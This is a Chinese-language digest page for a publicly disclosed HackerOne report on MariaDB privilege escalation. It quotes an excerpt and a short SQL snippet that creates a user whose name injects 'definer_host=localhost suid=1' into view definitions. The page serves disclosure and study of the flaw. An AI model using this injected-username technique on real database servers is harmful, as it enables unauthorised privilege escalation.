Privilege escalation via user controlled usernames / roles and views
该报告还没有中文解读。
原文摘录
摘自原文(2893 字符中的一小部分)
Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw `FILE_OPTIONS_STRING` values.
原文中的代码
DROP USER IF EXISTS 'root definer_host=localhost suid=1'@'localhost'; CREATE USER 'root definer_host=localhost suid=1'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON testdb.* TO 'root definer_host=localhost suid=1'@'localhost'; FLUSH PRIVILEGES;
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 MariaDB 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @vortfu · 版权归作者与 MariaDB 所有